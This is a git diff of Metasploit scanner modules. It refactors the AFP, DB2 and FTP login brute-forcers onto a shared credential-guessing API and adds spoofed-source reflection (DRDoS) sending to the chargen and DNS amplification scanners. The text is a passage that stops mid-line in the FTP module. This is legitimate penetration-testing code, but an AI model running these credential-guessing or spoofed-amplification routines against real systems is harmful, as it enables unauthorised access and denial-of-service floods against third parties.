b/modules/auxiliary/scanner/afp/afp_login.rb index f3affe799d..0cc90634bb 100644 --- a/modules/auxiliary/scanner/afp/afp_login.rb +++ b/modules/auxiliary/scanner/afp/afp_login.rb @@ -1,10 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'openssl' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/afp' class Metasploit3 < Msf::Auxiliary @@ -32,6 +34,7 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST') register_options( [ + Opt::Proxies, OptInt.new('LoginTimeOut', [ true, "Timout on login", 23 ]), OptBool.new('RECORD_GUEST', [ false, "Record guest login to the database", false]), OptBool.new('CHECK_GUEST', [ false, "Check for guest login", true]) @@ -41,83 +44,48 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) print_status("Scanning IP: #{ip.to_s}") - begin - connect - info = get_info # get_info drops connection - raise "Unsupported AFP version" unless info[:uams].include?("DHCAST128") + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) - if datastore['CHECK_GUEST'] && info[:uams].include?("No User Authent") - connect - open_session - do_guest_login - close_session - end + cred_collection = prepend_db_passwords(cred_collection) - each_user_pass do |user, pass| - if user == '' - return :skip_user # check guest login once per host - end + scanner = Metasploit::Framework::LoginScanner::AFP.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 30, + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + ) - vprint_status("Trying to login as '#{user}' with password '#{pass}'") - connect - open_session - status = do_login(user, pass) - close_session # close_session drops connection + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) - status - end - rescue ::Timeout::Error - raise $! - rescue ::Interrupt - raise $! - rescue ::Rex::ConnectionError, ::IOError, ::Errno::ECONNRESET, ::Errno::ENOPROTOOPT - rescue ::Exception - print_error("#{rhost}:#{rport} #{$!.class} #{$!}") - ensure - close_session if sock - disconnect - end - end - - def do_login(user, pass) - status = login(user, pass) - - if status == true - status = :next_user - print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{pass}'") - report_auth_info({ - :host => rhost, - :port => rport, - :sname => 'afp', - :user => user, - :pass => pass, - :source_type => 'user_supplied', - :active => true - }) - end - return status - end - - def do_guest_login - status = login('', '') - if status - status = :next_user - print_good("#{rhost} Supports Guest logins") - - if datastore['RECORD_GUEST'] - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'atp', - :user => '', - :pass => '', - :type => "Guest Login", - :source_type => "user_supplied", - :active => true - ) + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end - return status end + + end diff --git a/modules/auxiliary/scanner/afp/afp_server_info.rb b/modules/auxiliary/scanner/afp/afp_server_info.rb index a975cf1b90..8f6692fd6f 100644 --- a/modules/auxiliary/scanner/afp/afp_server_info.rb +++ b/modules/auxiliary/scanner/afp/afp_server_info.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb b/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb index 517a114412..099cf46cbe 100644 --- a/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb +++ b/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/chargen/chargen_probe.rb b/modules/auxiliary/scanner/chargen/chargen_probe.rb index aee6cd5294..721bd6e073 100644 --- a/modules/auxiliary/scanner/chargen/chargen_probe.rb +++ b/modules/auxiliary/scanner/chargen/chargen_probe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,8 +9,11 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Scanner + include Msf::Exploit::Capture include Msf::Auxiliary::Report include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::DRDoS + include Msf::Auxiliary::UDPScanner def initialize super( @@ -45,24 +48,28 @@ class Metasploit3 < Msf::Auxiliary end def run_host(rhost) - begin - connect_udp - pkt = Rex::Text.rand_text_alpha_lower(1) - udp_sock.write(pkt) - r = udp_sock.recvfrom(65535, 0.1) + data = Rex::Text.rand_text_alpha_lower(1) + if spoofed? + scanner_spoof_send(data, rhost, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) + else + begin + connect_udp + udp_sock.write(data) + r = udp_sock.recvfrom(65535, 0.1) - if r and r[1] - vprint_status("#{rhost}:#{rport} - Response: #{r[0].to_s}") - res = r[0].to_s.strip - if (res.match(/ABCDEFGHIJKLMNOPQRSTUVWXYZ/i) || res.match(/0123456789/)) - print_good("#{rhost}:#{rport} answers with #{res.length} bytes (headers + UDP payload)") - report_service(:host => rhost, :port => rport, :proto => "udp", :name => "chargen", :info => res.length) + if r and r[1] + vprint_status("#{rhost}:#{rport} - Response: #{r[0].to_s}") + res = r[0].to_s.strip + if (res.match(/ABCDEFGHIJKLMNOPQRSTUVWXYZ/i) || res.match(/0123456789/)) + print_good("#{rhost}:#{rport} answers with #{res.length} bytes (headers + UDP payload)") + report_service(:host => rhost, :port => rport, :proto => "udp", :name => "chargen", :info => res.length) + end end + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused + nil + ensure + disconnect_udp if self.udp_sock end - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused - nil - ensure - disconnect_udp if self.udp_sock end end end diff --git a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb index 57ed3ef14b..036f7511ec 100644 --- a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb +++ b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/couchdb/couchdb_login.rb b/modules/auxiliary/scanner/couchdb/couchdb_login.rb index b0b033a67c..88caaa9995 100644 --- a/modules/auxiliary/scanner/couchdb/couchdb_login.rb +++ b/modules/auxiliary/scanner/couchdb/couchdb_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/db2/db2_auth.rb b/modules/auxiliary/scanner/db2/db2_auth.rb index 0ba46d6973..56a27fcea5 100644 --- a/modules/auxiliary/scanner/db2/db2_auth.rb +++ b/modules/auxiliary/scanner/db2/db2_auth.rb @@ -1,11 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' - +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/db2' class Metasploit3 < Msf::Auxiliary @@ -30,6 +31,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ + Opt::Proxies, OptPath.new('USERPASS_FILE', [ false, "File containing (space-seperated) users and passwords, one pair per line", File.join(Msf::Config.data_directory, "wordlists", "db2_default_userpass.txt") ]), OptPath.new('USER_FILE', [ false, "File containing users, one per line", @@ -40,44 +42,47 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - each_user_pass { |user, pass| - do_login(user,pass,datastore['DATABASE']) - } + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + realm: datastore['DATABASE'] + ) + + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::DB2.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 30, + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end + end end - def do_login(user=nil,pass=nil,db=nil) - datastore['USERNAME'] = user - datastore['PASSWORD'] = pass - vprint_status("#{rhost}:#{rport} - DB2 - Trying username:'#{user}' with password:'#{pass}'") - - begin - info = db2_check_login - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} : Unable to attempt authentication") - return :abort - rescue ::Rex::Proto::DRDA::RespError => e - vprint_error("#{rhost}:#{rport} : Error in connecting to DB2 instance: #{e}") - return :abort - end - - disconnect - - if info[:db_login_success] - print_good("#{rhost}:#{rport} - DB2 - successful login for '#{user}' : '#{pass}' against database '#{db}'") - # Report credentials - report_auth_info( - :host => rhost, - :port => rport, - :sname => "db2", - :user => "#{db}/#{user}", - :pass => pass, - :active => true - ) - return :next_user - else - vprint_error("#{rhost}:#{rport} - DB2 - failed login for '#{user}' : '#{pass}' against database '#{db}'") - return :fail - end - - end end diff --git a/modules/auxiliary/scanner/db2/db2_version.rb b/modules/auxiliary/scanner/db2/db2_version.rb index 0a0ae18780..3feac07d07 100644 --- a/modules/auxiliary/scanner/db2/db2_version.rb +++ b/modules/auxiliary/scanner/db2/db2_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/db2/discovery.rb b/modules/auxiliary/scanner/db2/discovery.rb index 7aeb1121e5..b7f4f5dfbd 100644 --- a/modules/auxiliary/scanner/db2/discovery.rb +++ b/modules/auxiliary/scanner/db2/discovery.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb b/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb index 44f8c3790d..f99da3d29f 100644 --- a/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb +++ b/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/dcerpc/hidden.rb b/modules/auxiliary/scanner/dcerpc/hidden.rb index 882817e273..79c2b359f7 100644 --- a/modules/auxiliary/scanner/dcerpc/hidden.rb +++ b/modules/auxiliary/scanner/dcerpc/hidden.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/dcerpc/management.rb b/modules/auxiliary/scanner/dcerpc/management.rb index 65c9a5f730..b68723d582 100644 --- a/modules/auxiliary/scanner/dcerpc/management.rb +++ b/modules/auxiliary/scanner/dcerpc/management.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb b/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb index bdd4d00925..2641054b1f 100644 --- a/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb +++ b/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index b4d2f2acbf..8bb5dfd750 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/dect/call_scanner.rb b/modules/auxiliary/scanner/dect/call_scanner.rb index 2b14060415..206367d11e 100644 --- a/modules/auxiliary/scanner/dect/call_scanner.rb +++ b/modules/auxiliary/scanner/dect/call_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/dect/station_scanner.rb b/modules/auxiliary/scanner/dect/station_scanner.rb index 0d86dea5fa..e25605bdfd 100644 --- a/modules/auxiliary/scanner/dect/station_scanner.rb +++ b/modules/auxiliary/scanner/dect/station_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/discovery/arp_sweep.rb b/modules/auxiliary/scanner/discovery/arp_sweep.rb index dfa7920c4a..8e86f7cbd9 100644 --- a/modules/auxiliary/scanner/discovery/arp_sweep.rb +++ b/modules/auxiliary/scanner/discovery/arp_sweep.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/discovery/empty_udp.rb b/modules/auxiliary/scanner/discovery/empty_udp.rb new file mode 100644 index 0000000000..d64ec3ebd8 --- /dev/null +++ b/modules/auxiliary/scanner/discovery/empty_udp.rb @@ -0,0 +1,44 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Auxiliary::UDPScanner + + def initialize + super( + 'Name' => 'UDP Empty Prober', + 'Description' => 'Detect UDP services that reply to empty probes', + 'Author' => 'Jon Hart <jon_hart[at]rapid7.com>', + 'License' => MSF_LICENSE + ) + register_options([ + OptString.new('PORTS', [true, 'Ports to probe', '1-1024,1194,2000,2049,4353,5060,5061,5351,8443']) + ], self.class) + end + + def setup + super + @ports = Rex::Socket.portspec_crack(datastore['PORTS']) + raise Msf::OptionValidateError.new(['PORTS']) if @ports.empty? + end + + def scanner_prescan(batch) + print_status("Sending #{@ports.length} empty probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + end + + def scan_host(ip) + @ports.each do |port| + scanner_send('', ip, port) + end + end + + def scanner_process(data, shost, sport) + print_good("Received #{data.inspect} from #{shost}:#{sport}/udp") + report_service(:host => shost, :port => sport, :proto => 'udp', :info => data.inspect) + end +end diff --git a/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb b/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb index 312102ab28..4795a21ae8 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb index 2b6e92ee29..c60d28db3a 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb index 6584c674a4..1cfac0e01e 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/discovery/udp_probe.rb b/modules/auxiliary/scanner/discovery/udp_probe.rb index b879573782..fb5b0bf10f 100644 --- a/modules/auxiliary/scanner/discovery/udp_probe.rb +++ b/modules/auxiliary/scanner/discovery/udp_probe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/discovery/udp_sweep.rb b/modules/auxiliary/scanner/discovery/udp_sweep.rb index 8f87a3c498..b83e1144ee 100644 --- a/modules/auxiliary/scanner/discovery/udp_sweep.rb +++ b/modules/auxiliary/scanner/discovery/udp_sweep.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/dns/dns_amp.rb b/modules/auxiliary/scanner/dns/dns_amp.rb index 1b9469603c..6d6062d265 100644 --- a/modules/auxiliary/scanner/dns/dns_amp.rb +++ b/modules/auxiliary/scanner/dns/dns_amp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,7 +8,9 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report + include Msf::Exploit::Capture include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::DRDoS def initialize super( @@ -89,7 +91,12 @@ class Metasploit3 < Msf::Auxiliary end def scan_host(ip) - scanner_send(@msearch_probe, ip, datastore['RPORT']) + if spoofed? + datastore['ScannerRecvWindow'] = 0 + scanner_spoof_send(@msearch_probe, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) + else + scanner_send(@msearch_probe, ip, datastore['RPORT']) + end end def scanner_process(data, shost, sport) diff --git a/modules/auxiliary/scanner/elasticsearch/indeces_enum.rb b/modules/auxiliary/scanner/elasticsearch/indeces_enum.rb deleted file mode 100644 index 431593cf2c..0000000000 --- a/modules/auxiliary/scanner/elasticsearch/indeces_enum.rb +++ /dev/null @@ -1,95 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'msf/core/module/deprecated' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Scanner - include Msf::Auxiliary::Report - - include Msf::Module::Deprecated - - DEPRECATION_DATE = Date.new(2014, 07, 29) - DEPRECATION_REPLACEMENT = 'auxiliary/scanner/elasticsearch/indices_enum' - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'ElasticSearch Indices Enumeration Utility', - 'Description' => %q{ - This module enumerates ElasticSearch Indices. It uses the REST API - in order to make it. - }, - 'Author' => - [ - 'Silas Cutler <Silas.Cutler[at]BlackListThisDomain.com>' - ], - 'License' => MSF_LICENSE - )) - - register_options( - [ - Opt::RPORT(9200) - ], self.class) - end - - def peer - "#{rhost}:#{rport}" - end - - def run_host(ip) - vprint_status("#{peer} - Querying indices...") - begin - res = send_request_raw({ - 'uri' => '/_aliases', - 'method' => 'GET', - }) - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable - vprint_error("#{peer} - Unable to establish connection") - return - end - - if res && res.code == 200 && res.body.length > 0 - begin - json_body = JSON.parse(res.body) - rescue JSON::ParserError - vprint_error("#{peer} - Unable to parse JSON") - return - end - else - vprint_error("#{peer} - Timeout or unexpected response...") - return - end - - report_service( - :host => rhost, - :port => rport, - :proto => 'tcp', - :name => 'elasticsearch' - ) - - indices = [] - - json_body.each do |index| - indices.push(index[0]) - report_note( - :host => rhost, - :port => rport, - :proto => 'tcp', - :type => "elasticsearch.index", - :data => index[0], - :update => :unique_data - ) - end - - if indices.length > 0 - print_good("#{peer} - ElasticSearch Indices found: #{indices.join(", ")}") - end - - end - -end diff --git a/modules/auxiliary/scanner/elasticsearch/indices_enum.rb b/modules/auxiliary/scanner/elasticsearch/indices_enum.rb index 196d77aec0..7624c9f7d9 100644 --- a/modules/auxiliary/scanner/elasticsearch/indices_enum.rb +++ b/modules/auxiliary/scanner/elasticsearch/indices_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb b/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb index 3cde9862fa..98234fe2f9 100644 --- a/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb +++ b/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb b/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb index 95cba4972c..57e3e108e0 100644 --- a/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb +++ b/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/finger/finger_users.rb b/modules/auxiliary/scanner/finger/finger_users.rb index 3969d1762f..e95315b367 100644 --- a/modules/auxiliary/scanner/finger/finger_users.rb +++ b/modules/auxiliary/scanner/finger/finger_users.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ftp/anonymous.rb b/modules/auxiliary/scanner/ftp/anonymous.rb index 07dbeb8c24..8af1e9cf16 100644 --- a/modules/auxiliary/scanner/ftp/anonymous.rb +++ b/modules/auxiliary/scanner/ftp/anonymous.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -35,40 +35,67 @@ class Metasploit3 < Msf::Auxiliary begin - res = connect_login(true, false) + res = connect_login(true, false) - banner.strip! if banner + banner.strip! if banner - dir = Rex::Text.rand_text_alpha(8) - if res - write_check = send_cmd( ['MKD', dir] , true) + dir = Rex::Text.rand_text_alpha(8) + if res + write_check = send_cmd(['MKD', dir] , true) - if (write_check and write_check =~ /^2/) - send_cmd( ['RMD', dir] , true) + if write_check && write_check =~ /^2/ + send_cmd( ['RMD', dir] , true) - print_status("#{target_host}:#{rport} Anonymous READ/WRITE (#{banner})") - access_type = "rw" - else - print_status("#{target_host}:#{rport} Anonymous READ (#{banner})") - access_type = "ro" + print_good("#{target_host}:#{rport} - Anonymous READ/WRITE (#{banner})") + access_type = 'Read/Write' + else + print_good("#{target_host}:#{rport} - Anonymous READ (#{banner})") + access_type = 'Read-only' + end + register_creds(target_host, access_type) end - report_auth_info( - :host => target_host, - :port => rport, - :sname => 'ftp', - :user => datastore['FTPUSER'], - :pass => datastore['FTPPASS'], - :type => "password_#{access_type}", - :active => true - ) - end - disconnect + disconnect rescue ::Interrupt - raise $! + raise $ERROR_INFO rescue ::Rex::ConnectionError, ::IOError end + end + def register_creds(target_host, access_type) + # Build service information + service_data = { + address: target_host, + port: datastore['RPORT'], + service_name: 'ftp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + # Build credential information + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_data: datastore['FTPPASS'], + private_type: :password, + username: datastore['FTPUSER'], + workspace_id: myworkspace_id + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + access_level: access_type, + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) end end diff --git a/modules/auxiliary/scanner/ftp/ftp_login.rb b/modules/auxiliary/scanner/ftp/ftp_login.rb index 063b8dd92a..04740c9f06 100644 --- a/modules/auxiliary/scanner/ftp/ftp_login.rb +++ b/modules/auxiliary/scanner/ftp/ftp_login.rb @@ -1,9 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/ftp' class Metasploit3 < Msf::Auxiliary @@ -35,6 +37,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ + Opt::Proxies, Opt::RPORT(21), OptBool.new('RECORD_GUEST', [ false, "Record anonymous/guest logins to the database", false]) ], self.class) @@ -52,134 +55,75 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) print_status("#{ip}:#{rport} - Starting FTP login sweep") - if check_banner - @@credentials_tried = {} - if datastore['RECORD_GUEST'] == false and check_anonymous == :next_user - @accepts_all_logins[@access] ||= [] - @accepts_all_logins[@access] << ip - print_status("Successful authentication with #{@access.to_s} access on #{ip} will not be reported") + + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + prepended_creds: anonymous_creds + ) + + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::FTP.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + connection_timeout: 30 + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end - each_user_pass { |user, pass| - next if user.nil? - ret = do_login(user,pass) - ftp_quit if datastore['SINGLE_SESSION'] - if ret == :next_user - unless user == user.downcase - ret = do_login(user.downcase,pass) - if ret == :next_user - user = user.downcase - print_status("Username #{user} is not case sensitive") - end - end - if datastore['RECORD_GUEST'] - report_ftp_creds(user,pass,@access) - else - if @accepts_all_logins[@access] - report_ftp_creds(user,pass,@access) unless @accepts_all_logins[@access].include?(ip) - else - report_ftp_creds(user,pass,@access) - end - end - end - ret - } -# check_anonymous - else - return end - ftp_quit + end - def ftp_quit - begin - send_quit if @ftp_sock - rescue ::Rex::ConnectionError, EOFError, ::Errno::ECONNRESET - end - disconnect if @ftp_sock - @ftp_sock = nil - end # Always check for anonymous access by pretending to be a browser. - def check_anonymous - browser_passwords = {} - browser_passwords['IE6'] = "IEUser@" - browser_passwords['IE8'] = "User@" - browser_passwords['Firefox'] = 'mozilla@example.com' - browser_passwords['Chrome'] = 'chrome@example.com' - unless @@credentials_tried.keys.include? "#{rhost}:#{rport}:anonymous" - do_login("anonymous",browser_passwords.values[rand(browser_passwords.size)]) - end - end - - def check_banner - @ftp_sock = connect(true, false) - if self.banner - banner_sanitized = 